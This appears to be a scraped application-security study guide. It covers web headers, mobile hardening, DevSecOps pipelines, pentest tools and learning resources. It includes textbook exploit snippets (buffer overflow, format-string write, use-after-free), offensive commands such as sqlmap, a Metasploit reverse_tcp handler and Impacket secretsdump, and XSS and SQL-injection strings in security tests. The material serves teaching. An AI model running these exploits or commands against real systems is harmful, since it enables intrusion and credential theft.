Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-originContent-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-{random}' 'strict-dynamic';
style-src 'self' 'nonce-{random}';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
block-all-mixed-content;
require-trusted-types-for 'script';
trusted-types default;CSP Reporting:
Content-Security-Policy-Report-Only:
default-src 'self';
report-uri https://example.com/csp-report;
report-to csp-endpoint;
Report-To: {
"group": "csp-endpoint",
"max_age": 10886400,
"endpoints": [{
"url": "https://example.com/csp-report"
}]
}// ❌ Insecure CORS
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', req.headers.origin);
res.header('Access-Control-Allow-Credentials', 'true');
next();
});
// ✓ Secure CORS
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.header('Access-Control-Allow-Origin', origin);
res.header('Access-Control-Allow-Credentials', 'true');
res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.header('Access-Control-Max-Age', '86400');
}
next();
});Set-Cookie: sessionid=abc123;
Secure; # HTTPS only
HttpOnly; # No JavaScript access
SameSite=Strict; # CSRF protection
Path=/;
Domain=.example.com;
Max-Age=3600;
Expires=Wed, 21 Oct 2024 07:28:00 GMT;
# For sensitive cookies
Set-Cookie: auth=xyz789;
Secure;
HttpOnly;
SameSite=Lax;
__Host-Prefix; # Must be secure, no domain, path=/Cookie Prefixes:
__Secure- : Must have Secure flag
__Host- : Must have Secure, no Domain, Path=/
Permissions-Policy:
geolocation=(self),
microphone=(),
camera=(),
payment=(self "https://trusted-payment.com"),
usb=(),
magnetometer=(),
gyroscope=(),
speaker=(self),
vibrate=(),
fullscreen=(self),
sync-xhr=()Resources:
- SecurityHeaders.com - Test your headers
- Mozilla Observatory - Security analysis
- CSP Evaluator
- OWASP Secure Headers Project
1. Insecure Data Storage:
// ❌ Insecure
SharedPreferences prefs = getSharedPreferences("app", MODE_WORLD_READABLE);
prefs.edit().putString("api_key", "secret123").apply();
// ✓ Secure - Use EncryptedSharedPreferences
import androidx.security.crypto.EncryptedSharedPreferences;
import androidx.security.crypto.MasterKey;
MasterKey masterKey = new MasterKey.Builder(context)
.setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
.build();
SharedPreferences prefs = EncryptedSharedPreferences.create(
context,
"secure_prefs",
masterKey,
EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
);2. Insecure Communication:
<!-- ❌ Allow cleartext traffic -->
<application android:usesCleartextTraffic="true">
<!-- ✓ Disable cleartext, enable certificate pinning -->
<application android:usesCleartextTraffic="false">
<network-security-config>
<domain-config>
<domain includeSubdomains="true">api.example.com</domain>
<pin-set>
<pin digest="SHA-256">7HIpactkIAq2Y49orFOOQKurWxmmSFZhBCoQYcRhJ3Y=</pin>
<pin digest="SHA-256">YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg=</pin>
</pin-set>
</domain-config>
</network-security-config>
</application>3. WebView Security:
// ❌ Insecure WebView
WebView webview = findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
webview.addJavascriptInterface(new WebAppInterface(this), "Android");
webview.loadUrl(untrustedUrl);
// ✓ Secure WebView
WebView webview = findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(false); // Disable if not needed
webview.getSettings().setAllowFileAccess(false);
webview.getSettings().setAllowContentAccess(false);
webview.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
// Validate URL
if (url.startsWith("https://trusted.com/")) {
return false;
}
return true;
}
});
// If JavaScript is needed, use @JavascriptInterface with target API 17+
class WebAppInterface {
@JavascriptInterface
public void performAction(String data) {
// Validate and sanitize data
}
}4. Intent Security:
// ❌ Implicit intent with sensitive data
Intent intent = new Intent();
intent.setAction("com.example.ACTION");
intent.putExtra("password", "secret123");
startActivity(intent);
// ✓ Explicit intent
Intent intent = new Intent(this, TargetActivity.class);
intent.putExtra("data", "value");
startActivity(intent);
// ✓ Validate received intents
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
// Verify calling package
String callingPackage = getCallingPackage();
if (!"com.example.trusted".equals(callingPackage)) {
finish();
return;
}
}5. Root Detection:
public boolean isRooted() {
// Check for su binary
String[] paths = {
"/system/app/Superuser.apk",
"/sbin/su",
"/system/bin/su",
"/system/xbin/su"
};
for (String path : paths) {
if (new File(path).exists()) {
return true;
}
}
// Check for test keys
String buildTags = android.os.Build.TAGS;
if (buildTags != null && buildTags.contains("test-keys")) {
return true;
}
return false;
}Decompile APK:
# Extract APK
apktool d app.apk -o output/
# Convert DEX to JAR
d2j-dex2jar app.apk -o app.jar
# Decompile JAR
jd-gui app.jar
# Use JADX
jadx app.apk -d output/ProGuard/R8 Obfuscation:
# proguard-rules.pro
-keepattributes SourceFile,LineNumberTable
-renamesourcefileattribute SourceFile
# Obfuscate package names
-repackageclasses 'com.app.obfuscated'
# Keep specific classes
-keep class com.app.api.** { *; }
# Remove logging
-assumenosideeffects class android.util.Log {
public static *** d(...);
public static *** v(...);
}1. Keychain Storage:
// Store sensitive data
let query: [String: Any] = [
kSecClass as String: kSecClassGenericPassword,
kSecAttrAccount as String: "apiKey",
kSecValueData as String: "secret123".data(using: .utf8)!,
kSecAttrAccessible as String: kSecAttrAccessibleWhenUnlockedThisDeviceOnly
]
SecItemAdd(query as CFDictionary, nil)
// Retrieve data
let query: [String: Any] = [
kSecClass as String: kSecClassGenericPassword,
kSecAttrAccount as String: "apiKey",
kSecReturnData as String: true
]
var result: AnyObject?
SecItemCopyMatching(query as CFDictionary, &result)2. Certificate Pinning:
class PinningDelegate: NSObject, URLSessionDelegate {
func urlSession(
_ session: URLSession,
didReceive challenge: URLAuthenticationChallenge,
completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void
) {
guard let serverTrust = challenge.protectionSpace.serverTrust,
let certificate = SecTrustGetCertificateAtIndex(serverTrust, 0) else {
completionHandler(.cancelAuthenticationChallenge, nil)
return
}
let serverCertData = SecCertificateCopyData(certificate) as Data
let serverCertHash = sha256(data: serverCertData)
let pinnedHashes = [
"7HIpactkIAq2Y49orFOOQKurWxmmSFZhBCoQYcRhJ3Y=",
"YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg="
]
if pinnedHashes.contains(serverCertHash) {
completionHandler(.useCredential, URLCredential(trust: serverTrust))
} else {
completionHandler(.cancelAuthenticationChallenge, nil)
}
}
}3. Jailbreak Detection:
func isJailbroken() -> Bool {
// Check for suspicious files
let paths = [
"/Applications/Cydia.app",
"/Library/MobileSubstrate/MobileSubstrate.dylib",
"/bin/bash",
"/usr/sbin/sshd",
"/etc/apt"
]
for path in paths {
if FileManager.default.fileExists(atPath: path) {
return true
}
}
// Check if app can modify system files
do {
try "test".write(toFile: "/private/jailbreak.txt", atomically: true, encoding: .utf8)
try FileManager.default.removeItem(atPath: "/private/jailbreak.txt")
return true
} catch {
return false
}
}4. App Transport Security:
<!-- Info.plist -->
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<false/>
<key>NSExceptionDomains</key>
<dict>
<key>api.example.com</key>
<dict>
<key>NSIncludesSubdomains</key>
<true/>
<key>NSTemporaryExceptionMinimumTLSVersion</key>
<string>TLSv1.2</string>
<key>NSTemporaryExceptionRequiresForwardSecrecy</key>
<false/>
</dict>
</dict>
</dict>- M1: Improper Platform Usage - Misuse of platform features
- M2: Insecure Data Storage - Sensitive data in logs, backups
- M3: Insecure Communication - Poor SSL/TLS, cleartext
- M4: Insecure Authentication - Weak auth implementation
- M5: Insufficient Cryptography - Weak algorithms, hardcoded keys
- M6: Insecure Authorization - Improper access controls
- M7: Client Code Quality - Buffer overflows, format strings
- M8: Code Tampering - Binary patching, runtime manipulation
- M9: Reverse Engineering - Lack of obfuscation
- M10: Extraneous Functionality - Hidden backdoors, debug code
Resources:
- OWASP Mobile Security Testing Guide
- MobSF - Mobile Security Framework
- Frida - Dynamic instrumentation toolkit
- objection - Runtime mobile exploration
- Drozer - Android security assessment
- JADX - Android decompiler
- Hopper Disassembler - iOS reverse engineering
// Vulnerable code
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input); // No bounds checking
printf("%s\n", buffer);
}
// Exploitation
char exploit[100];
memset(exploit, 'A', 80); // Fill buffer + overflow
memcpy(exploit + 80, &return_address, 4); // Overwrite return address
vulnerable_function(exploit);Stack Layout:
High Memory
+-----------------+
| Return Address | <- Overwrite this
+-----------------+
| Saved EBP |
+-----------------+
| Local Variables |
| buffer[64] | <- Buffer starts here
+-----------------+
Low Memory
Modern Protections:
1. Stack Canaries (SSP)
- Random value before return address
- Checked before function return
2. ASLR (Address Space Layout Randomization)
- Randomize memory addresses
- Makes exploitation harder
3. DEP/NX (Data Execution Prevention)
- Mark stack as non-executable
- Prevent shellcode execution
4. PIE (Position Independent Executable)
- Randomize code location
// Vulnerable code
void vulnerable(char *user_input) {
printf(user_input); // Format string vulnerability
}
// Exploitation
vulnerable("%x %x %x %x"); // Leak stack values
vulnerable("%s"); // Read arbitrary memory
vulnerable("%n"); // Write to memoryAdvanced Format String:
// Write arbitrary value to arbitrary address
// %[parameter]$[flags][width][.precision][length]type
// Example: Write 0xdeadbeef to address 0x08049abc
char exploit[] = "\xbc\x9a\x04\x08" // Address (little-endian)
"\xbe\x9a\x04\x08" // Address + 2
"%57005x" // Padding (0xdead - 8)
"%7$hn" // Write to address
"%8126x" // Padding (0xbeef - 0xdead)
"%8$hn"; // Write to address + 2// Vulnerable code
struct User {
char name[32];
void (*print)(struct User*);
};
struct User *user = malloc(sizeof(struct User));
strcpy(user->name, "Alice");
user->print = &print_user;
free(user); // Memory freed
user->print(user); // Use after free - undefined behaviorExploitation:
// 1. Free object
free(user);
// 2. Allocate controlled data
struct Malicious *evil = malloc(sizeof(struct User));
evil->function_pointer = &malicious_function;
// 3. Use freed object (now points to malicious data)
user->print(user); // Calls malicious_functionBypass DEP/NX using existing code (gadgets)
Gadget examples:
pop rdi; ret # Load argument
pop rsi; ret # Load argument
mov rax, rsi; ret
syscall; ret # Make system call
ROP Chain:
+------------------+
| Address of gadget 1: pop rdi; ret |
| Argument for rdi |
| Address of gadget 2: pop rsi; ret |
| Argument for rsi |
| Address of gadget 3: syscall; ret |
+------------------+
Find ROP Gadgets:
# Using ROPgadget
ROPgadget --binary ./vulnerable --ropchain
# Using ropper
ropper --file ./vulnerable --search "pop rdi"
# Using pwntools
from pwn import *
elf = ELF('./vulnerable')
rop = ROP(elf)
rop.call('system', ['/bin/sh'])// Vulnerable code
void allocate_buffer(unsigned int size) {
if (size > 1024) {
printf("Size too large\n");
return;
}
unsigned int total = size + 64; // Integer overflow
char *buffer = malloc(total);
// ...
}
// Exploitation
allocate_buffer(0xffffffc0); // 4294967232
// 0xffffffc0 + 64 = 0x00000000 (overflow)
// Passes size check but allocates 0 bytesSecure Code:
void allocate_buffer(unsigned int size) {
if (size > 1024) {
return;
}
// Check for overflow
if (size > UINT_MAX - 64) {
return;
}
unsigned int total = size + 64;
char *buffer = malloc(total);
}Resources:
- Exploit Education - Binary exploitation challenges
- pwn.college - Cybersecurity education
- ROPEmporium - ROP challenges
- Microcorruption - Embedded security CTF
- GDB PEDA - Python Exploit Development Assistance for GDB
- pwntools - CTF framework and exploit development
- Method of software development that is characterized by
- Division of tasks into short phases of work - sprints of 2-3 weeks
- Frequent reassessment - testing: functional, security, user
- Adaptation of plans
- An Overview of Agile Development by ForrestKnight
- Agile Software Development by MIT Courseware
- Devops is a set of practices that increases the speed of developing high quality software and operation services.
- Derived from Agile methodology.
- This is done through automation, collaboration, fast feedback, and iterative improvement.
- What is DevOps? by GitLab
- DevOps CI/CD Explained in 100 Seconds by Fireship
- Continuous Integration - Team members integrate their work in a shared repository. Git commits. Basic testing.
- Continuous Delivery - Deploying on a pre-production or staging environment and performing automated tests to ensure the build is ready for production/release.
- Continuous Deployment (not common) - Automatically deploy the build to production.
- What is CI/CD Pipeline? by School of Basics (See image in timestamp 8:40)
- In traditional SDLC, the stages include
Plan > Code > Build > Test > Deploy > Monitor, where Security comes during the 'Test' or 'Deploy' phase. - Shift left means conducting security testing sooner and more often in the software development phase, i.e. starting from the 'Code' phase and then in the 'Test' and 'Deploy' phases.
- Security testing starts from the source - SAST, DAST, SCA
- What is Shift Left Security by Fortinet
- Shift Left Security: Meaning and Real World Usage by CoderDave
- Analyze the source code (written by the dev team) of the product for vulnerabilities.
- Manual or automated white box testing.
- Automated tests may have false positives. Time consuming
- Happens earlier in the SDLC.
- Analyze a running build of the product for vulnerabilities.
- Manual or automated black box testing.
- Automated tests may have false positives. Time consuming
- Happens later in the SDLC.
- Analyze the security of the dependencies used in a software project.
- Checks for known/disclosed vulnerabilities in these dependencies.
- More accurate. SCA scans run faster.
- Ideally should happen earlier in the SDLC.
# .github/workflows/security.yml
name: Security Pipeline
on: [push, pull_request]
jobs:
secrets-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
fetch-depth: 0
- name: TruffleHog Secrets Scan
uses: trufflesecurity/trufflehog@main
with:
path: ./
base: main
head: HEAD
- name: Gitleaks Scan
uses: gitleaks/gitleaks-action@v2
sast:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Semgrep Scan
uses: returntocorp/semgrep-action@v1
with:
config: >-
p/security-audit
p/owasp-top-ten
- name: CodeQL Analysis
uses: github/codeql-action/init@v2
with:
languages: javascript, python
- name: SonarCloud Scan
uses: SonarSource/sonarcloud-github-action@master
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
dependency-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Snyk Scan
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
- name: OWASP Dependency-Check
uses: dependency-check/Dependency-Check_Action@main
with:
project: 'app'
path: '.'
format: 'HTML'
- name: Trivy Vulnerability Scanner
uses: aquasecurity/trivy-action@master
with:
scan-type: 'fs'
scan-ref: '.'
container-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Build Docker Image
run: docker build -t myapp:${{ github.sha }} .
- name: Trivy Container Scan
uses: aquasecurity/trivy-action@master
with:
image-ref: myapp:${{ github.sha }}
format: 'sarif'
output: 'trivy-results.sarif'
- name: Anchore Container Scan
uses: anchore/scan-action@v3
with:
image: myapp:${{ github.sha }}
fail-build: true
severity-cutoff: high
dast:
runs-on: ubuntu-latest
needs: [sast, dependency-scan]
steps:
- name: OWASP ZAP Scan
uses: zaproxy/[email protected]
with:
target: 'https://staging.example.com'
rules_file_name: '.zap/rules.tsv'
cmd_options: '-a'
iac-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Checkov IaC Scan
uses: bridgecrewio/checkov-action@master
with:
directory: terraform/
framework: terraform
- name: tfsec Scan
uses: aquasecurity/[email protected]
with:
working_directory: terraform/
security-tests:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Run Security Tests
run: |
npm install
npm run test:security
- name: Upload Results
uses: github/codeql-action/upload-sarif@v2
with:
sarif_file: security-results.sarif1. Never Commit Secrets:
# .gitignore
.env
.env.*
*.key
*.pem
secrets.yml
config/credentials/*.yml.enc
# Pre-commit hook
#!/bin/bash
# .git/hooks/pre-commit
if git diff --cached --name-only | grep -E '\.(env|key|pem); then
echo "Error: Attempting to commit sensitive files!"
exit 1
fi
# Scan for secrets
gitleaks protect --staged --verbose2. Environment Variables:
# ❌ Hardcoded secrets
ENV API_KEY=secret123
# ✓ Use build args (but still not ideal)
ARG API_KEY
ENV API_KEY=$API_KEY
# ✓✓ Use secrets management
# Docker Swarm
docker secret create api_key ./api_key.txt
# Kubernetes
kubectl create secret generic api-secret \
--from-literal=api-key=secret1233. HashiCorp Vault:
import hvac
# Initialize client
client = hvac.Client(url='https://vault.example.com:8200')
client.token = 'vault-token'
# Read secret
secret = client.secrets.kv.v2.read_secret_version(
path='app/config',
mount_point='secret'
)
api_key = secret['data']['data']['api_key']4. AWS Secrets Manager:
import boto3
import json
client = boto3.client('secretsmanager', region_name='us-east-1')
response = client.get_secret_value(SecretId='prod/api/key')
secret = json.loads(response['SecretString'])
api_key = secret['api_key']Terraform Security:
# ❌ Insecure S3 bucket
resource "aws_s3_bucket" "data" {
bucket = "my-data-bucket"
acl = "public-read" # Bad!
}
# ✓ Secure S3 bucket
resource "aws_s3_bucket" "data" {
bucket = "my-data-bucket"
}
resource "aws_s3_bucket_public_access_block" "data" {
bucket = aws_s3_bucket.data.id
block_public_acls = true
block_public_policy = true
ignore_public_acls = true
restrict_public_buckets = true
}
resource "aws_s3_bucket_server_side_encryption_configuration" "data" {
bucket = aws_s3_bucket.data.id
rule {
apply_server_side_encryption_by_default {
sse_algorithm = "AES256"
}
}
}
resource "aws_s3_bucket_versioning" "data" {
bucket = aws_s3_bucket.data.id
versioning_configuration {
status = "Enabled"
}
}Scan IaC:
# tfsec
tfsec .
# Checkov
checkov -d . --framework terraform
# Terrascan
terrascan scan -t terraform
# OPA (Open Policy Agent)
opa test policy/ -v1. Unit Security Tests:
// security.test.js
const request = require('supertest');
const app = require('./app');
describe('Security Tests', () => {
test('should reject XSS in input', async () => {
const response = await request(app)
.post('/api/comment')
.send({ text: '<script>alert(1)</script>' });
expect(response.status).toBe(400);
});
test('should have security headers', async () => {
const response = await request(app).get('/');
expect(response.headers['x-frame-options']).toBe('DENY');
expect(response.headers['x-content-type-options']).toBe('nosniff');
expect(response.headers['strict-transport-security']).toBeDefined();
});
test('should prevent SQL injection', async () => {
const response = await request(app)
.get('/api/user/1\' OR \'1\'=\'1');
expect(response.status).toBe(400);
});
});2. Integration Security Tests:
# test_security.py
import pytest
import requests
class TestSecurityIntegration:
BASE_URL = "https://staging.example.com"
def test_csrf_protection(self):
# Request without CSRF token should fail
response = requests.post(
f"{self.BASE_URL}/api/transfer",
json={"amount": 100}
)
assert response.status_code == 403
def test_rate_limiting(self):
# Rapid requests should be rate limited
for _ in range(150):
response = requests.get(f"{self.BASE_URL}/api/data")
assert response.status_code == 429
def test_authentication_required(self):
# Protected endpoint without auth
response = requests.get(f"{self.BASE_URL}/api/admin")
assert response.status_code in [401, 403]Resources:
- OWASP DevSecOps Guideline
- GitLab CI/CD Security
- Semgrep - Static analysis tool
- Snyk - Developer security platform
- Trivy - Vulnerability scanner
- tfsec - Terraform security scanner
- Checkov - IaC security scanner
# Subdomain enumeration
subfinder -d example.com -o subdomains.txt
amass enum -d example.com
assetfinder example.com
# DNS enumeration
dnsenum example.com
dnsrecon -d example.com
# Port scanning
nmap -sV -sC -oA scan example.com
masscan -p1-65535 example.com --rate=10000
# Web technology detection
whatweb example.com
wappalyzer example.com
# Directory brute forcing
ffuf -u https://example.com/FUZZ -w wordlist.txt
gobuster dir -u https://example.com -w wordlist.txt
dirsearch -u https://example.com# Burp Suite - Primary web testing tool
# Extensions to install:
- Autorize (authorization testing)
- Turbo Intruder (fast attacks)
- JSON Web Tokens
- Param Miner
- Upload Scanner
- Retire.js
# OWASP ZAP
zap-cli quick-scan https://example.com
zap-cli active-scan https://example.com
# Nikto
nikto -h https://example.com
# SQLMap
sqlmap -u "https://example.com/page?id=1" --batch --dbs
sqlmap -u "https://example.com/page?id=1" --forms --batch
# XSStrike
xsstrike -u "https://example.com/search?q="
# Nuclei (vulnerability scanner)
nuclei -u https://example.com -t cves/
nuclei -l urls.txt -t exposures/
# Wfuzz (web fuzzer)
wfuzz -c -z file,wordlist.txt https://example.com/FUZZ# Postman - API development and testing
# Insomnia - REST/GraphQL API client
# HTTPie
http GET https://api.example.com/users Authorization:"Bearer token"
# cURL advanced usage
curl -X POST https://api.example.com/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"test"}' \
-v
# GraphQL testing
graphql-voyager - Visualize GraphQL schema
graphql-playground - GraphQL IDE
# API fuzzing
ffuf -u https://api.example.com/FUZZ -w api-wordlist.txt# SAST Tools
semgrep --config=auto .
bandit -r ./python-app/
brakeman -q ./rails-app/
eslint --plugin security ./js-app/
# Dependency scanning
npm audit
npm audit fix
snyk test
retire --path ./app
# Secret detection
trufflehog filesystem ./
gitleaks detect --source . -v
detect-secrets scan
# Code quality
sonar-scanner# Wireshark - GUI packet analyzer
# tcpdump
tcpdump -i eth0 -w capture.pcap
tcpdump -r capture.pcap 'tcp port 80'
# tshark (Wireshark CLI)
tshark -i eth0 -f "tcp port 443"
# mitmproxy - Interactive HTTPS proxy
mitmproxy
mitmdump -w traffic.dump
# Netcat
nc -lvp 4444 # Listen
nc target 4444 # Connect# Metasploit
msfconsole
search exploit
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
# Empire/Starkiller - Post-exploitation framework
# Cobalt Strike - Commercial adversary simulation
# Impacket - Python network protocols
psexec.py domain/user:password@target
secretsdump.py domain/user:password@target# Android
adb devices
adb shell
adb pull /data/data/com.app/databases/app.db
jadx app.apk
apktool d app.apk
# iOS
ideviceinstaller -l
class-dump App.app
Hopper Disassembler
# Dynamic analysis
frida -U -f com.app.name -l script.js
objection -g com.app.name explore
# MobSF
python3 manage.py runserver
# Upload APK/IPA through web interface# Docker security
docker scan myimage:latest
trivy image myimage:latest
dive myimage:latest # Analyze image layers
# Kubernetes security
kube-bench # CIS Kubernetes benchmark
kube-hunter # Security weaknesses
kubesec scan pod.yaml
# Cloud security
ScoutSuite # Multi-cloud auditing
Prowler # AWS security assessment
cloudsploit # Cloud security monitoring
# AWS CLI
aws s3 ls --recursive
aws iam get-user
aws ec2 describe-instances# pwntools - CTF framework
from pwn import *
conn = remote('target.com', 1337)
payload = cyclic(100)
conn.sendline(payload)
conn.interactive()
# Requests - HTTP library
import requests
session = requests.Session()
response = session.post(
'https://example.com/login',
json={'username': 'admin', 'password': 'test'}
)
# Paramiko - SSH library
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('target.com', username='user', password='pass')
stdin, stdout, stderr = ssh.exec_command('ls -la')-
OWASP Juice Shop
- Modern vulnerable web application
- Covers OWASP Top 10
- Progressive difficulty levels
- Link: https://github.com/juice-shop/juice-shop
-
DVWA (Damn Vulnerable Web Application)
- Classic vulnerable PHP application
- Different difficulty levels (Low, Medium, High, Impossible)
- Covers common vulnerabilities
- Link: https://github.com/digininja/DVWA
-
WebGoat
- OWASP interactive teaching application
- Lesson-based approach
- Java/Spring based
- Link: https://github.com/WebGoat/WebGoat
-
Mutillidae II
- Deliberately vulnerable PHP application
- OWASP Top 10 coverage
- Hints and tutorials included
- Link: https://github.com/webpwnized/mutillidae
-
bWAPP
- Buggy Web Application
- 100+ vulnerabilities
- Various difficulty levels
- Link: http://www.itsecgames.com/
-
Damn Vulnerable GraphQL Application
- GraphQL security practice
- API security focus
- Link: https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application
-
OWASP NodeGoat
- Node.js vulnerable application
- Modern JavaScript stack
- Link: https://github.com/OWASP/NodeGoat
-
RailsGoat
- Ruby on Rails vulnerable app
- Rails-specific vulnerabilities
- Link: https://github.com/OWASP/railsgoat
1. PortSwigger Web Security Academy
- FREE comprehensive web security training
- 200+ labs covering all major vulnerabilities
- Certificate upon completion
- Highly recommended for beginners
- Link: https://portswigger.net/web-security
2. HackTheBox
- Real-world pentesting labs
- Active machines and retired machines
- CTF-style challenges
- Community-driven
- Link: https://www.hackthebox.com/
3. TryHackMe
- Guided learning paths
- Beginner-friendly
- Rooms for specific topics
- Progress tracking
- Link: https://tryhackme.com/
4. PentesterLab
- Web penetration testing exercises
- Video courses
- Real-world scenarios
- Link: https://pentesterlab.com/
5. Hack This Site
- Free security training
- Basic to advanced challenges
- Community forums
- Link: https://www.hackthissite.org/
6. OverTheWire
- War games for security practice
- Command line focused
- Progressive difficulty
- Link: https://overthewire.org/
7. Root Me
- 400+ challenges
- Multiple categories
- Ranking system
- Link: https://www.root-me.org/
8. VulnHub
- Downloadable vulnerable VMs
- Practice in isolated environment
- Wide variety of scenarios
- Link: https://www.vulnhub.com/
9. OWASP WebGoat
- Interactive learning environment
- Self-paced lessons
- Built-in documentation
- Link: https://owasp.org/www-project-webgoat/
10. CTFtime
- CTF event calendar
- Team rankings
- Write-ups archive
- Link: https://ctftime.org/
-
flAWS
- AWS security challenges
- Learn cloud misconfigurations
- Link: http://flaws.cloud/
-
flAWS2
- Advanced AWS security
- Attacker and defender perspectives
- Link: http://flaws2.cloud/
-
CloudGoat
- Vulnerable AWS infrastructure
- By Rhino Security Labs
- Link: https://github.com/RhinoSecurityLabs/cloudgoat
-
Kubernetes Goat
- Kubernetes security scenarios
- Container security practice
- Link: https://github.com/madhuakula/kubernetes-goat
1. HackerOne
- Largest bug bounty platform
- Public and private programs
- Educational resources
- Link: https://www.hackerone.com/
2. Bugcrowd
- Crowdsourced security
- Diverse programs
- University program
- Link: https://www.bugcrowd.com/
3. Synack
- Private bug bounty platform
- Vetted researchers
- Higher payouts
- Link: https://www.synack.com/
4. Intigriti
- European bug bounty platform
- Focus on quality
- Community events
- Link: https://www.intigriti.com/
5. YesWeHack
- European platform
- Public and private programs
- Link: https://www.yeswehack.com/
1. The Web Application Hacker's Handbook (2nd Edition)
- Authors: Dafydd Stuttard, Marcus Pinto
- Comprehensive guide to web app security
- Covers methodology and techniques
- Must-read for application security
2. Real-World Bug Hunting
- Author: Peter Yaworski
- Bug bounty focused
- Real examples and case studies
- Practical approach
3. The Tangled Web
- Author: Michal Zalewski
- Deep dive into browser security
- Understanding web mechanics
- Advanced concepts
4. Hacking APIs
- Author: Corey J. Ball
- Modern API security
- RESTful and GraphQL APIs
- Practical techniques
5. Alice and Bob Learn Application Security
- Author: Tanya Janca
- Beginner-friendly
- Covers SDLC security
- DevSecOps focus
6. The Hacker Playbook 3
- Author: Peter Kim
- Practical penetration testing
- Red team operations
- Tools and techniques
7. OWASP Testing Guide v4
- Comprehensive testing methodology
- All vulnerability types
- Free PDF available
- Link: https://owasp.org/www-project-web-security-testing-guide/
8. Secure by Design
- Authors: Dan Bergh Johnsson, Daniel Deogun, Daniel Sawano
- Domain-driven security
- Secure architecture
- Development focused
9. Web Security for Developers
- Author: Malcolm McDonald
- Practical security guide
- Real-world examples
- Implementation focus
10. Black Hat Python
- Author: Justin Seitz
- Python for security professionals
- Tool development
- Automation techniques
1. IppSec
- HackTheBox walkthroughs
- Detailed explanations
- Weekly uploads
- Link: https://www.youtube.com/c/ippsec
2. LiveOverflow
- Security research
- CTF solutions
- Educational content
- Link: https://www.youtube.com/c/LiveOverflow
3. STÖK
- Bug bounty content
- Hacking tutorials
- Community interviews
- Link: https://www.youtube.com/c/STOKfredrik
4. John Hammond
- CTF walkthroughs
- Security tutorials
- Malware analysis
- Link: https://www.youtube.com/c/JohnHammond010
5. NahamSec
- Bug bounty tips
- Recon techniques
- Live hacking
- Link: https://www.youtube.com/c/Nahamsec
6. PwnFunction
- Security concepts explained
- Animated tutorials
- Vulnerability deep dives
- Link: https://www.youtube.com/c/PwnFunction
7. The Cyber Mentor
- Ethical hacking courses
- Pentesting tutorials
- Career guidance
- Link: https://www.youtube.com/c/TheCyberMentor
8. Computerphile
- Computer science and security
- Academic perspective
- Well-explained concepts
- Link: https://www.youtube.com/user/Computerphile
1. Darknet Diaries
- True cybersecurity stories
- Interviews with hackers
- Engaging narratives
- Link: https://darknetdiaries.com/
2. The Bug Bounty Podcast
- Bug bounty interviews
- Tips and techniques
- Industry insights
3. Application Security Podcast
- AppSec news and trends
- Expert interviews
- Weekly episodes
4. Security Now
- Steve Gibson's security show
- Technical deep dives
- Long-running podcast
5. Risky Business
- Security news
- Industry analysis
- Expert commentary
6. Defensive Security Podcast
- Defensive strategies
- Threat intelligence
- Blue team focus
1. PortSwigger Research
- Cutting-edge research
- New attack techniques
- Link: https://portswigger.net/research
2. OWASP
- Open source security resources
- Cheat sheets
- Link: https://owasp.org/
3. HackerOne Hacktivity
- Disclosed bug bounty reports
- Learn from real vulnerabilities
- Link: https://hackerone.com/hacktivity
4. Pentester Land
- Bug bounty writeups
- Weekly newsletters
- Link: https://pentester.land/
5. InfoSec Write-ups
- Security articles
- CTF writeups
- Community contributions
- Link: https://infosecwriteups.com/
6. Troy Hunt's Blog
- Web security insights
- Data breach analysis
- Link: https://www.troyhunt.com/
7. Krebs on Security
- Cybercrime news
- Investigative journalism
- Link: https://krebsonsecurity.com/
8. Schneier on Security
- Bruce Schneier's blog
- Security analysis
- Cryptography topics
- Link: https://www.schneier.com/
1. Awesome Hacking
- Curated list of hacking resources
- Link: https://github.com/Hack-with-Github/Awesome-Hacking
2. PayloadsAllTheThings
- Comprehensive payload repository
- All injection types
- Link: https://github.com/swisskyrepo/PayloadsAllTheThings
3. HackTricks
- Pentesting methodologies
- Detailed techniques
- Link: https://github.com/carlospolop/hacktricks
4. SecLists
- Security testing wordlists
- Fuzzing lists
- Link: https://github.com/danielmiessler/SecLists
5. OWASP Cheat Sheet Series
- Quick reference guides
- Best practices
- Link: https://github.com/OWASP/CheatSheetSeries
6. Vulnerable Applications
- Collection of vulnerable apps
- Link: https://github.com/OWASP/www-project-vulnerable-web-applications-directory
1. CompTIA Security+
- Duration: 2-3 months preparation
